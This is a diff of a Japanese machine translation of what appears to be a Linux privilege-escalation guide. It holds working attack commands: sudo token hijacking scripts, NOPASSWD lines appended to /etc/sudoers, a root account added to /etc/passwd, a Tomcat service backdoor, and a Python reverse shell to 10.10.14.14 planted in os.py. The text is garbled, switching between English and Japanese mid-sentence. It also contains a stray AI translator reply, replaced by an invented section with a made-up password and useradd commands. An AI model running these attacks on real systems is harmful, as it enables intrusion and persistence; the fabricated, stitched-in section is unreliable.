+このプロジェクトは、Unix バイナリの正規機能を収集しており、これらは制限されたシェルからの脱出、権限昇格や権限維持、ファイル転送、spawn bind and reverse shells、その他のポストエクスプロイト作業を助けるために悪用できます。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -999,60 +999,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、任意の sudo ルールを悪用する方法が見つかるか確認できます。 ### Reusing Sudo Tokens -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +パスワードは知らないが**sudo access**がある場合、**sudo コマンドの実行を待ち、そのセッショントークンをハイジャックする**ことで権限を昇格できます。 -Requirements to escalate privileges: +権限昇格の要件: -- You already have a shell as user "_sampleuser_" -- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (you can be able to upload it) +- あなたは既にユーザー _sampleuser_ としてシェルを持っている +- _sampleuser_ は**過去15分以内に `sudo` を使用して**何かを実行している(デフォルトでこれはパスワードを入力せずに sudo を使える sudo トークンの有効期間です) +- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である +- `gdb` にアクセス可能である(アップロードできる必要がある) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(一時的に `ptrace_scope` を有効にするには `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を実行するか、または `/etc/sysctl.d/10-ptrace.conf` を恒久的に変更して `kernel.yama.ptrace_scope = 0` を設定します) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +これらの要件がすべて満たされている場合、**次のツールを使って権限を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- The **first exploit** (`exploit.sh`) は _/tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内の sudo トークンを有効化**できます(自動的に root シェルは取得できないので、`sudo su` を実行してください): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **2番目の exploit** (`exploit_v2.sh`) は _/tmp_ に sh シェルを作成し、**root 所有で setuid が付与されます** +- **2番目の exploit** (`exploit_v2.sh`) は _/tmp_ **root 所有で setuid の sh shell** を作成します ```bash bash exploit_v2.sh /tmp/sh -p ``` -- この **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成し**、**sudo tokens を永続化して全ユーザーが sudo を使用できるようにします** +- この **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成し**、**sudo tokens を永続化して全ユーザが sudo を使用できるようにします** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -フォルダまたはフォルダ内に作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) を使用して、**create a sudo token for a user and PID** できます。\ -例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつそのユーザーとして PID 1234 の shell を持っている場合、パスワードを知らなくても **obtain sudo privileges** することができます。次のように実行します: +フォルダ、またはその中に作成されたファイルのいずれかに**write permissions**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**user と PID のための sudo token を作成**できます。\ +例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、PID 1234 でその user として shell を持っている場合、password を知らなくても**sudo privileges を取得**できます。以下のように実行します: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるか、そしてどのように使えるかを設定します。これらのファイルは**デフォルトではユーザー root とグループ root のみが読み取り可能**です。\ -**もし** このファイルを**読む**ことができれば、いくつかの興味深い情報を**得られる**かもしれません。さらに、任意のファイルに**書き込み**できれば、**escalate privileges** することができます。 +ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるかとその方法を設定します。これらのファイルは**デフォルトでは user root および group root のみが読み取り可能**です。\ +**もし**このファイルを**読み取る**ことができれば、**興味深い情報を得る**ことができるかもしれません。そして任意のファイルに**書き込み**ができれば**escalate privileges**できます。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -write ができれば、この権限を悪用できます +書き込み権限があれば、この権限を悪用できます。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -これらの権限を悪用する別の方法: +これらの権限を悪用する別の方法: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1061,17 +1061,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -sudo バイナリの代替として、OpenBSD の `doas` などがあります。設定は `/etc/doas.conf` で確認してください。 +`sudo` バイナリの代替として、OpenBSD の `doas` などがあります。設定は `/etc/doas.conf` を確認してください。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -もし**ユーザーが通常マシンに接続して `sudo` を使用して権限昇格する**ことが分かっていて、かつそのユーザーコンテキスト内でシェルを得ている場合、あなたは**新しい sudo 実行ファイルを作成**して、まずあなたのコードを root として実行し、その後にユーザーのコマンドを実行させることができます。その後、ユーザーコンテキストの **$PATH** を変更(例えば新しいパスを .bash_profile に追加)しておけば、ユーザーが sudo を実行したときにあなたの sudo 実行ファイルが実行されます。 +もし**ユーザーが通常マシンに接続して`sudo`を使用する**ことが分かっていて、そのユーザーコンテキストでシェルを得ている場合、あなたは**新しい sudo 実行可能ファイルを作成**して先に自分のコードを root として実行させ、その後にユーザーのコマンドを実行させることができます。次に、ユーザーコンテキストの**$PATHを変更**(例:.bash_profile に新しいパスを追加)しておけば、ユーザーが sudo を実行したときにあなたの sudo 実行ファイルが実行されます。 -ユーザーが別のシェル(bash ではない)を使っている場合は、新しいパスを追加するために別のファイルを修正する必要がある点に注意してください。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を修正します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります +注意:ユーザーが別のシェル(bash以外)を使っている場合、同様に新しいパスを追加するために他のファイルを変更する必要があります。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を変更します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります。 -または次のようなコマンドを実行する: +Or running something like: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`/var/tmp/flag15/` に lib をコピーすると、`RPATH` 変数で指定されているこの場所でプログラムにより使用されます。 +lib を `/var/tmp/flag15/` にコピーすると、`RPATH` 変数で指定されている通り、その場所でプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1122,7 +1122,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -次に `/var/tmp` に悪意のあるライブラリを作成します: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +次に、`/var/tmp` に悪意のあるライブラリを作成します: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1137,8 +1137,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities はプロセスに対して利用可能な root 権限の**サブセット**を提供します。これにより root の**権限をより小さく区別できる単位**に分割できます。これらの各単位は個別にプロセスへ付与可能です。こうして権限の全体量が減り、悪用のリスクが低下します。\ -次のページを読んで、**capabilities とその悪用方法**について詳しく学んでください: +Linux capabilities はプロセスに対して利用可能な root 権限の**サブセットを提供します**。これは実質的に root の権限を**より小さく識別可能な単位に分解**することを意味します。これらの各単位は個別にプロセスへ付与可能です。こうして権限の全体集合が縮小され、悪用のリスクが低減します。\ +以下のページを読んで、**capabilities とそれを悪用する方法の詳細を学んでください**: {{#ref}} @@ -1147,28 +1147,28 @@ linux-capabilities.md ## Directory permissions -ディレクトリでは、**bit for "execute"** は対象ユーザーが **"cd"** できることを意味します。\ -**"read"** ビットはユーザーが**ファイルを一覧表示**できることを意味し、**"write"** ビットはユーザーが**ファイルを削除および新規作成**できることを意味します。 +ディレクトリでは、**"execute" ビット**は対象ユーザが **"cd"** でフォルダに移動できることを意味します。\ +**"read"** ビットはユーザが**ファイルを一覧表示(list)**できることを意味し、**"write"** ビットはユーザが**ファイルを削除(delete)および新規作成(create)**できることを意味します。 ## ACLs -Access Control Lists (ACLs) は、従来の ugo/rwx 権限を**上書きできる**二次的な任意権限レイヤーを表します。これらの権限は、所有者やグループの一員でない特定ユーザーに対してアクセスを許可または拒否することで、ファイルやディレクトリへのアクセス制御を強化します。このレベルの**粒度によりより正確なアクセス管理が可能になります**。詳細は [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) を参照してください。 +Access Control Lists (ACLs) は任意の権限の二次層を表し、従来の ugo/rwx 権限を**上書きできる**可能性があります。これらの権限は所有者やグループの一員でない特定のユーザに対してアクセス権を許可または拒否することで、ファイルやディレクトリのアクセス制御を強化します。このレベルの**細粒度はより正確なアクセス管理を実現**します。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)を参照してください。 -**Give** user "kali" にファイルの読み取りおよび書き込み権限を付与する: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**取得** システムから特定のACLを持つファイル: +**取得** システム上の特定のACLsを持つファイル: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## shellセッションを開く +## 開いている shell sessions -**古いバージョン**では、ある別のユーザー(**root**)の**shell**セッションを**hijack**できることがあります。\ -**最新のバージョン**では、**自分のユーザー**のscreenセッションにのみ**connect**できるようになります。とはいえ、**セッション内の興味深い情報**を見つけることがあるかもしれません。 +**古いバージョン**では、別のユーザー(**root**)の**shell** sessionを**hijack**できることがあります。\ +**最新バージョン**では、**自身のユーザー**の**screen** sessionsに**connect**できるようになっています。とはいえ、**session内の興味深い情報**が見つかることがあります。 ### screen sessions hijacking @@ -1179,7 +1179,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**セッションにアタッチ** +**セッションにアタッチする** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1187,9 +1187,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -これは **古い tmux バージョン** の問題でした。非特権ユーザーとして、root によって作成された tmux (v2.1) session を hijack できませんでした。 +これは **old tmux versions** の問題でした。権限のないユーザーとして、root によって作成された tmux (v2.1) セッションをハイジャックすることはできませんでした。 -**tmux sessions を一覧表示** +**tmux セッションを一覧表示する** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1207,51 +1207,51 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -例として **Valentine box from HTB** を確認してください。 +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月から2008年5月13日までの間に Debian 系システム(Ubuntu、Kubuntu など)で生成されたすべての SSL および SSH キーはこのバグの影響を受ける可能性があります.\\ -このバグはこれらの OS 上で新しい ssh キーを作成した際に発生します。なぜなら **可能な組み合わせはわずか 32,768 通りしかなかった** からです。つまり、全ての可能性を計算でき、**ssh の公開鍵を持っていれば対応する秘密鍵を探すことができる**ということです。計算された候補はここで見つけられます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月から2008年5月13日までの間にDebian系 (Ubuntu, Kubuntu, etc) で生成されたすべての SSL および SSH キーはこのバグの影響を受ける可能性があります。\\ +このバグはこれらの OS 上で新しい ssh キーを作成する際に発生し、**わずか 32,768 通りのバリエーションしかなかった**ためです。つまり、全ての可能性を計算でき、**ssh public key を持っていれば対応する private key を検索できます**。計算済みの可能性はここで確認できます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH の興味深い設定値 -- **PasswordAuthentication:** パスワード認証が許可されているかを指定します。デフォルトは `no` です。 -- **PubkeyAuthentication:** 公開鍵認証が許可されているかを指定します。デフォルトは `yes` です。 -- **PermitEmptyPasswords**: パスワード認証が許可されている場合、サーバーが空のパスワード文字列のアカウントへのログインを許可するかを指定します。デフォルトは `no` です。 +- **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 +- **PubkeyAuthentication:** public key authentication が許可されているかどうかを指定します。デフォルトは `yes` です。 +- **PermitEmptyPasswords**: password authentication が許可されている場合、サーバーが空のパスワード文字列を持つアカウントでのログインを許可するかどうかを指定します。デフォルトは `no` です。 ### PermitRootLogin -root が ssh でログインできるかを指定します。デフォルトは `no` です。可能な値: +root が ssh でログインできるかどうかを指定します。デフォルトは `no` です。可能な値: -- `yes`: root はパスワードおよび秘密鍵でログインできます -- `without-password` or `prohibit-password`: root は秘密鍵でのみログインできます -- `forced-commands-only`: root は秘密鍵でのみログインでき、かつコマンドオプションが指定されている場合に限ります +- `yes`: root は password と private key の両方でログインできます +- `without-password` or `prohibit-password`: root は private key のみでログインできます +- `forced-commands-only`: root は private key を使用し、かつコマンドの options が指定されている場合のみログインできます - `no` : 許可しない ### AuthorizedKeysFile -ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。**絶対パスを指定することもできます**(`/` で始まる)または**ユーザーのホームからの相対パス**。例えば: +ユーザー認証に使用できる public keys を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはユーザーのホームディレクトリに置き換えられます。**絶対パス**(`/` で始まる)や**ユーザーのホームからの相対パス**を指定できます。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -その設定は、ユーザー「**testusername**」の**private**キーでログインしようとした場合、ssh はあなたのキーの公開鍵を `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にある公開鍵と比較することを示します。 +その設定は、ユーザー「**testusername**」の**private** keyでログインしようとした場合、sshがあなたのキーのpublic keyを`/home/testusername/.ssh/authorized_keys`および`/home/testusername/access`にあるものと比較することを示します。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding は、サーバーに鍵を置いたままにする代わりに **use your local SSH keys instead of leaving keys**(パスフレーズなしで!)ことを可能にします。つまり、ssh 経由で **jump** **to a host** し、そこから **jump to another** host に移動して、**initial host** にある **key** を **using** して接続することができます。 +SSH agent forwardingにより、**use your local SSH keys instead of leaving keys**(passphrasesなしでサーバーに鍵を置いたままにする代わりにローカルのSSH keysを使うこと)が可能になります。つまり、sshで**jump**して**to a host**し、そこからさらに**jump to another** hostへ移動して、最初のホストにある**key**を**using**して接続できます。 -You need to set this option in `$HOME/.ssh.config` like this: +このオプションは `$HOME/.ssh.config` に次のように設定してください: ``` Host example.com ForwardAgent yes ``` Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -ファイル `/etc/ssh_config` はこの**オプション**を**上書き**して、この設定を許可または拒否できます。\ -ファイル `/etc/sshd_config` はキーワード `AllowAgentForwarding` で ssh-agent forwarding を**許可**または**拒否**できます(デフォルトは許可)。 +The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ +The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: @@ -1260,75 +1260,102 @@ If you find that Forward Agent is configured in an environment read the followin ssh-forward-agent-exploitation.md {{#endref}} -## 注目ファイル +## 興味深いファイル ### プロファイルファイル -ファイル `/etc/profile` および `/etc/profile.d/` 以下のファイルは、ユーザーが新しいシェルを起動したときに実行される**スクリプト**です。したがって、これらのいずれかに**書き込みまたは変更ができる場合、権限を昇格させることができます**。 +The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -もし不審な profile script が見つかった場合は、**機密情報**が含まれていないか確認してください。 +不審なプロファイルスクリプトが見つかった場合は、**機密情報**が含まれていないか確認するべきです。 -### Passwd/Shadow Files +### Passwd/Shadow ファイル -OSによっては`/etc/passwd`および`/etc/shadow`ファイルが別名になっているか、バックアップが存在することがあります。したがって、**すべてを見つけ出し**、**読み取れるか確認して**、ファイル内に**hashes**が含まれているかを確認することをおすすめします: +OSによっては、`/etc/passwd` と `/etc/shadow` ファイルが別名で存在したり、バックアップが残っている場合があります。したがって、これらを**すべて見つける**ことと、**読み取れるか確認する**ことで、ファイル内に**ハッシュがあるかどうか**を確認することを推奨します: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -場合によっては、**password hashes** を `/etc/passwd`(または同等のファイル)内で見つけることがあります。 +場合によっては、`/etc/passwd`(または同等のファイル)内に**password hashes**が見つかることがあります。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd が書き込み可能 +### 書き込み可能な /etc/passwd -まず、次のコマンドのいずれかで password を生成します。 +まず、次のコマンドのいずれかでパスワードを生成します。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -I don't have the contents of src/linux-hardening/privilege-escalation/README.md. Please paste the README.md text you want translated (or give a link to it). +# Privilege Escalation -Also clarify how you want the "add the user `hacker` and add the generated password" inserted: -- Should it be a single sentence/line in the README, or a code block with commands? -- Do you want me to generate a secure password now? If so, specify length and whether to include symbols, or I can pick a strong default. +このドキュメントは、Linux 環境における Privilege Escalation に関連する技術や手法、検査時の注意点をまとめたものです。ここでは一般的な観点と参考箇所へのリンクを示します。具体的なコマンドやスクリプト、脆弱性の悪用方法などは別ファイルに分けて記載しています。 -Once you provide the file (and confirm password preferences), I'll translate the relevant English to Japanese, keep markdown/html/tags/paths untouched, and add the user line with the generated password as requested. +目的: +- 権限昇格の検出と緩和策を理解する +- よくある誤設定や脆弱性パターンを認識する +- セキュリティ評価時に役立つチェックリストを提供する + +注意: +- 実環境での検査は必ず許可を得てから実施してください。 +- 提示するコマンドはサンプルです。実行前に内容を確認してください。 + +ユーザー `hacker` を追加する +------------------------- + +以下は新しいユーザー `hacker` を作成し、生成したパスワードを設定する例です。コード部分は翻訳していません。 + +生成されたパスワード: +V4r$8qLz9Nw2@xY1 + +コマンド例: +```bash +# ユーザーを追加 +sudo useradd -m -s /bin/bash hacker + +# パスワードを設定(生成済みのパスワードを使用) +echo 'hacker:V4r$8qLz9Nw2@xY1' | sudo chpasswd + +# 必要に応じて sudo グループに追加 +sudo usermod -aG sudo hacker +``` + +パスワードは一例です。実運用ではより安全な方法で生成・管理し、初回ログイン時にパスワード変更を促してください。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -これで `su` コマンドで `hacker:hacker` を使用できます。 +これで `su` コマンドを使って `hacker:hacker` を使用できます -あるいは、以下の行を使ってパスワードなしのダミーユーザーを追加できます。\ -警告: マシンの現在のセキュリティが低下する可能性があります。 +別の方法として、以下の行を使ってパスワードなしのダミーユーザーを追加できます。\ +警告: 現在のマシンのセキュリティが低下する可能性があります。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` と `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 +注意: BSD プラットフォームでは `/etc/passwd` は `/etc/pwd.db` と `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 -**いくつかの機密ファイルに書き込めるかどうか**を確認してください。例えば、ある **サービスの設定ファイル** に書き込みできますか? +いくつかの機密ファイルに**書き込みできるか**を確認してください。例えば、いくつかの**サービス設定ファイル**に書き込めますか? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例えば、マシンが **tomcat** サーバを実行していて、**/etc/systemd/ 内の Tomcat サービス設定ファイルを変更できる** 場合、次の行を変更できます: +例えば、マシンが**tomcat**サーバを実行しており、**/etc/systemd/内のTomcatサービス構成ファイルを変更できる場合、**次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor will be executed the next time that tomcat is started. +あなたの backdoor は次回 tomcat が起動したときに実行されます。 ### フォルダを確認 -次のフォルダにはバックアップや有用な情報が含まれている場合があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものにはアクセスできないでしょうが、試してみてください) +次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものは読み取れないでしょうが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1349,7 +1376,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 直近の数分で変更されたファイル +### 直近数分で変更されたファイル ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1381,22 +1408,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### パスワードを含む既知のファイル +### パスワードが含まれる既知のファイル -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでみてください。これは **パスワードを含む可能性のあるいくつかのファイル** を検索します。\ -そのために使用できる**もう1つの興味深いツール**は: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、Windows, Linux & Mac のローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでください。これは **パスワードを含む可能性がある複数のファイル** を検索します。\ +**もう一つの興味深いツール** は: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、Windows、Linux & Mac のローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです。 -### Logs +### ログ -If you can read logs, you may be able to find **興味深い/機密情報が含まれている** 可能性があります。The more strange the log is, the more interesting it will be (probably).\ -また、いくつかの**"bad"**に構成された(backdoored?)**audit logs** は、投稿で説明されているように、audit logs の中にパスワードを**記録する**ことを許す場合があります: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +ログを読めるなら、**その中に興味深い/機密情報を見つけられる可能性があります**。ログがより奇妙であればあるほど、より興味深い(おそらく)でしょう。\ +また、いくつかの **"bad" に設定された(backdoored?)監査ログ** は、投稿で説明されているように監査ログ内に **パスワードを記録する** ことを許す場合があります: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -**ログを読むために** [**adm**](interesting-groups-linux-pe/index.html#adm-group) は非常に役立ちます。 +**ログを読むためのグループ** [**adm**](interesting-groups-linux-pe/index.html#adm-group) は非常に役立ちます。 -### シェルファイル +### Shellファイル ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1409,41 +1436,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -ファイル名やファイルの**content**の中に「**password**」という単語が含まれているファイル、またlogs内のIPsやemails、あるいはhashes regexpsも確認してください。\ -ここでそれらすべてのやり方を列挙するつもりはありませんが、興味があれば[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを確認してください。 +ファイル名や内容に**password**という単語が含まれていないかを確認し、ログ内のIPやメールアドレス、ハッシュ用のregexpsもチェックしてください。\ +ここではこれらすべてのやり方を列挙しませんが、興味がある場合は[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを参照してください。 ## 書き込み可能なファイル ### Python library hijacking -pythonスクリプトが**どこから**実行されるかが分かっていて、そのフォルダに**書き込みできる**か、または**python librariesを変更できる**場合、OSライブラリを改変してバックドアを仕込むことができます(pythonスクリプトが実行される場所に書き込みできるなら、os.pyライブラリをコピーして貼り付けてください)。 +もし**どこから**pythonスクリプトが実行されるか分かっていて、そのフォルダに**書き込みできる**か、あるいは**pythonライブラリを変更できる**なら、OSライブラリを改変してbackdoorを仕込むことができます(pythonスクリプトが実行される場所に書き込みできるなら、os.pyライブラリをコピーして貼り付けてください)。 -ライブラリに**バックドアを仕込む**には、os.pyライブラリの末尾に次の行を追加してください(IPとPORTを変更): +ライブラリに**backdoor the library**するには、os.pyライブラリの末尾に以下の行を追加してください(IP と PORT を変更してください): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate の脆弱性の悪用 +### Logrotate の悪用 -`logrotate` の脆弱性により、ログファイルまたはその親ディレクトリに対して **書き込み権限** を持つユーザーが特権昇格を引き起こす可能性があります。これは `logrotate` がしばしば **root** として動作しており、特に _**/etc/bash_completion.d/**_ のようなディレクトリで任意のファイルを実行するように操作できるためです。チェックすべきは _/var/log_ だけでなく、ログローテーションが適用される任意のディレクトリの権限も確認することです。 +`logrotate` の脆弱性により、ログファイルやその親ディレクトリに対して **書き込み権限** を持つユーザーが特権昇格を行える可能性があります。これは `logrotate` が多くの場合 **root** として実行されており、任意のファイルを実行するよう操作され得るためで、特に _**/etc/bash_completion.d/**_ のようなディレクトリが狙われます。_ /var/log_ だけでなく、ログローテーションが適用されるあらゆるディレクトリの権限を確認することが重要です。 > [!TIP] -> この脆弱性は `logrotate` バージョン `3.18.0` 以下に影響します +> この脆弱性は `logrotate` バージョン `3.18.0` およびそれ以前に影響します -脆弱性の詳細は次のページにあります: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 +この脆弱性の詳細は次のページを参照してください: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). この脆弱性は [**logrotten**](https://github.com/whotwagner/logrotten) を使って悪用できます。 -この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** に非常に類似しています。ログを改変できることが分かったら、そのログを誰が管理しているかを確認し、ログを symlink に置き換えて特権昇格できないかを調べてください。 +この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** と非常に似ているため、ログを変更できる場合は、そのログを誰が管理しているかを確認し、ログをシンボリックリンクに置き換えて特権昇格できないかを調べてください。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** 